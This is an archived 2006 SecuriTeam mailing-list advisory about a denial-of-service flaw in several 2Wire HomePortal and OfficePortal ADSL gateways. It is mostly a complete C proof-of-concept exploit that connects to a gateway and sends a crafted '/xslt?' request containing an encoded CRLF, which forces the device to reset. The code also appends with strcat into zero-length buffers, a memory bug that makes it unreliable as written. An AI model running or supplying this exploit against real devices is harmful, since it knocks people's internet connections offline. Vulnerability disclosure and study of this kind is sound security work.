

[EXPL] 2Wire DoS (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-08/msg00089.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 24 Aug 2006 10:33:33 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

2Wire DoS (Exploit)

SUMMARY

Several models of <<http://www.2wire.com/>> 2Wire ADSL Modems/Gateways are vulnerable to a denial of service attack. It's possible to cause a mode reset by sending a maliciously crafted request.

DETAILS

Vulnerable Systems:

- * 2Wire OfficePortal 0
- * 2Wire HomePortal 1500W
- * 2Wire HomePortal 100W
- * 2Wire HomePortal 100S
- * 2Wire HomePortal 1000W
- * 2Wire HomePortal 1000SW
- * 2Wire HomePortal 1000S
- * 2Wire HomePortal 1000
- * 2Wire HomePortal 0

Exploit:

//Vulnerable:

//2Wire OfficePortal 0

[EXPL] 2Wire DoS (Exploit)

```
//2Wire HomePortal 1500W
//2Wire HomePortal 100W
//2Wire HomePortal 100S
//2Wire HomePortal 1000W
//2Wire HomePortal 1000SW
//2Wire HomePortal 1000S
//2Wire HomePortal 1000
//2Wire HomePortal 0
//////////////////// [ STARTING CODE ]
////////////////////
////
//// [ Explanation ] this PoC make an evil_request
//// and send to the server , when the server process
//// it the request fall him, AND THE MODEM WILL RESET!.
////
//// [ Note ] This Poc was coded using Dev-C++ 4.9.9.2
//// If you have any error with the libraris you need
//// include libws2_32.a at the project.
////
//// Enjoy it n_nU!..
//// Coded by preth00nker (using Mexican skill!)

#pragma comment(lib,"libws2_32.a")
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "winsock2.h"

unsigned long dir;
char h[]="";
short port;
char badreq[]="";
int state;

int main(int argc, char *argv[])
{
printf("\n#####\n");
printf("####\n");
printf("#### PoC of DoS 2wire_Gateway\n");
printf("#### By Preth00nker\n");
printf("#### http://www.mexhackteam.org\n");
printf("####\n");
printf("####\n\n");
if (argc<4){
printf("[Usage] %s $Host $Port $Variable\n",argv[0]);
printf("\n[ I.E. ] %s 192.168.1.254 80 PAGE\n",argv[0]);
return 0;
}
//Creat socket
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);
```

```
SOCKET wsck;  
//Estructuras  
struct sockaddr_in Wins;  
struct hostent *target;  
//Wins  
Wins.sin_family=AF_INET;  
Wins.sin_port=htons((short)atoi(argv[2]));  
target=gethostbyname(argv[1]);  
Wins.sin_addr.s_addr=inet_addr(inet_ntoa(*(struct in_addr  
*)target->h_addr));  
//llamamos al socket  
wsck=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,(int unsigned)NULL,(int  
unsigned)NULL,(int unsigned)NULL);  
//Verifica por error  
if (wsck==SOCKET_ERROR){printf("Error al crear el socket  
=!..");WSACleanup();return 0;}  
printf("Socket creado correctamente!.. hWndl: %d",wsck);  
//Conecta  
if(WSAConnect(wsck,(SOCKADDR*)&Wins,sizeof(Wins),NULL,NULL,NULL,NULL)==SOCKET_ERROR){  
WSACleanup();  
return 0;  
printf("\nError al conectar =!..");  
}  
printf("\nConectado!..");  
//Make a bad query and send it ..Mwajuajua!..  
strcat(badreq,"GET /xslt?");  
strcat(badreq,argv[3]);  
strcat(badreq,"=%0D%0A HTTP/1.0\r\n");  
strcat(badreq,"Accept-Language: es-mx\r\n");  
strcat(badreq,"User-Agent: MexHackTeam\r\n");  
strcat(badreq,"Host: ");  
strcat(badreq,argv[1]);  
strcat(badreq, "\r\n\r\n\r\n");  
send(wsck , badreq ,(int)strlen(badreq), 0);  
printf("\nDatos Mandados!..");  
//finalized  
Sleep(100);  
printf("\nThat's all. Check this out!...\n");  
WSACleanup();  
return 0;  
}  
//////////////////////////////////// [ EOF ]  
////////////////////////////////////
```

ADDITIONAL INFORMATION

The information has been provided by Preth00nker.

The original article can be found at:

<<http://www.mexhackteam.org/>> <http://www.mexhackteam.org/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.